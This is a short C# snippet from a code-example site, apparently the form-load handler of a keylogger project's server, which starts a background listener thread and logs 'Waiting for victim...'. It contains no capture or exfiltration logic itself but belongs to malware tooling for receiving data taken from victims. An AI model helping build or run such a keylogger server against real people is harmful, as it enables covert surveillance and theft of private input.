コード例 #1
0
ファイル: Form1.cs プロジェクト: NaghmeNikzad/keylogger
        private void mainForm_Load(object sender, EventArgs e)
        {
            addLog("Initializing the listener.", "ServerLog");
            Listener listener = new Listener();

            ThreadStart threadStart = new ThreadStart(delegate()
            {
                listener.startListening((Listener.listenerCallback)onMessage, (Listener.delAddLog)addLog);
            });

            listenerThread = new Thread(threadStart);
            listenerThread.IsBackground = true;
            listenerThread.Start();

            addLog("", "ServerLog");
            addLog("Waiting for victim...", "ServerLog");
        }